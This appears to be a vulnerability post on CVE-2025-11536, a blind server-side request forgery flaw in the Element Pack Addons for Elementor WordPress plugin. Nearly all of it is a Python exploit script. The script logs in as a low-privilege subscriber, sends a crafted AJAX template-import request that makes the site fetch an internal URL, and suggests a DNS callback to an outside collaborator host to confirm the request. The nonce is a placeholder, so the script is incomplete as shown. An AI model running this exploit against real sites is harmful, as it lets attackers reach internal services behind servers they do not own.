CVE-2025-11536：Element Pack Addons插件存在盲SSRF漏洞

# CVE-2025-11536 Blind SSRF Exploit # Vulnerability: Blind Server-Side Request Forgery in Element Pack Addons for Elementor # Affected versions: <= 8.2.5 # Required privilege: Subscriber-level access or above import requests # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" INTERNAL_TARGET = "http://127.0.0.1:8080/admin" # Internal service to probe # Step 1: Login as subscriber to obtain authentication cookies session = requests.Session() # Get login page to retrieve nonce login_page = session.get(f"{TARGET_URL}/wp-login.php") # Perform login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Get a valid nonce for the AJAX action # Navigate to a page that loads the necessary scripts admin_page = session.get(f"{TARGET_URL}/wp-admin/admin-ajax.php") # Step 3: Exploit the Blind SSRF via wp_ajax_import_elementor_template # The malicious URL is passed to the server which will fetch it ssrf_payload = { "action": "import_elementor_template", "url": INTERNAL_TARGET, # Arbitrary URL - the SSRF target "_ajax_nonce": "obtain_nonce_from_page_source" } # Send the malicious AJAX request response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=ssrf_payload ) print(f"Response status: {response.status_code}") print(f"Response body: {response.text[:500]}") print("\nNote: This is a Blind SSRF - response content is not directly visible.") print("Use out-of-band techniques (DNS callbacks, timing) to confirm exploitation.") # Alternative: Use DNS callback to verify SSRF # INTERNAL_TARGET = "http://unique-id.burpcollaborator.net" # Check DNS logs for the callback to confirm the server made the request